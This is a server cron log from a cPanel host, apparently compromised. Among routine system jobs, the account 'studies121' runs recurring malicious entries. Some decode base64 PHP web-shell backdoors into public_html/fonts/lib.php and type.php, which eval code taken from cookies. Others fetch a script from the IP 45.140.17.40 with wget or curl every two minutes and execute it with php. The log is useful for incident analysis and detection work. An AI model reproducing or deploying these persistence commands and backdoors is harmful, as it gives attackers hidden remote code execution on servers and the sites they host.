Sep  6 18:55:01 ip-184-168-122-23 CROND[14687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:55:01 ip-184-168-122-23 CROND[14685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:55:01 ip-184-168-122-23 CROND[14684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:55:01 ip-184-168-122-23 CROND[14686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:56:01 ip-184-168-122-23 CROND[14781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:56:01 ip-184-168-122-23 CROND[14782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:56:01 ip-184-168-122-23 CROND[14784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:56:01 ip-184-168-122-23 CROND[14785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:56:01 ip-184-168-122-23 CROND[14786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:57:01 ip-184-168-122-23 CROND[14868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:57:01 ip-184-168-122-23 CROND[14869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:57:01 ip-184-168-122-23 CROND[14872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:57:01 ip-184-168-122-23 CROND[14871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:58:01 ip-184-168-122-23 CROND[14949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:58:01 ip-184-168-122-23 CROND[14948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:58:01 ip-184-168-122-23 CROND[14951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:58:01 ip-184-168-122-23 CROND[14950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:58:01 ip-184-168-122-23 CROND[14954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:59:01 ip-184-168-122-23 CROND[15066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:59:01 ip-184-168-122-23 CROND[15069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:59:01 ip-184-168-122-23 CROND[15068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:59:01 ip-184-168-122-23 CROND[15070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:00:01 ip-184-168-122-23 CROND[15248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:00:01 ip-184-168-122-23 CROND[15249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:00:01 ip-184-168-122-23 CROND[15252]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:00:01 ip-184-168-122-23 CROND[15255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:00:01 ip-184-168-122-23 CROND[15256]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:00:01 ip-184-168-122-23 CROND[15258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:00:01 ip-184-168-122-23 CROND[15257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:00:01 ip-184-168-122-23 CROND[15254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:01:01 ip-184-168-122-23 CROND[15362]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 19:01:01 ip-184-168-122-23 CROND[15363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15362]: starting 0anacron
Sep  6 19:01:01 ip-184-168-122-23 CROND[15373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:01:01 ip-184-168-122-23 CROND[15375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:01:01 ip-184-168-122-23 CROND[15378]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15377]: finished 0anacron
Sep  6 19:01:01 ip-184-168-122-23 CROND[15379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:02:01 ip-184-168-122-23 CROND[15460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:02:01 ip-184-168-122-23 CROND[15461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:02:01 ip-184-168-122-23 CROND[15463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:02:01 ip-184-168-122-23 CROND[15465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:02:01 ip-184-168-122-23 CROND[15466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:03:01 ip-184-168-122-23 CROND[15563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:03:01 ip-184-168-122-23 CROND[15565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:03:01 ip-184-168-122-23 CROND[15568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:03:01 ip-184-168-122-23 CROND[15569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:04:01 ip-184-168-122-23 CROND[15645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:04:01 ip-184-168-122-23 CROND[15648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:04:01 ip-184-168-122-23 CROND[15649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:04:01 ip-184-168-122-23 CROND[15647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:04:01 ip-184-168-122-23 CROND[15650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:05:01 ip-184-168-122-23 CROND[15743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:05:01 ip-184-168-122-23 CROND[15745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:05:01 ip-184-168-122-23 CROND[15746]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 19:05:01 ip-184-168-122-23 CROND[15748]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:05:01 ip-184-168-122-23 CROND[15749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:05:01 ip-184-168-122-23 CROND[15747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:05:01 ip-184-168-122-23 CROND[15754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:06:01 ip-184-168-122-23 CROND[15924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:06:01 ip-184-168-122-23 CROND[15925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:06:01 ip-184-168-122-23 CROND[15926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:06:01 ip-184-168-122-23 CROND[15929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:06:01 ip-184-168-122-23 CROND[15928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:07:01 ip-184-168-122-23 CROND[16032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:07:01 ip-184-168-122-23 CROND[16033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
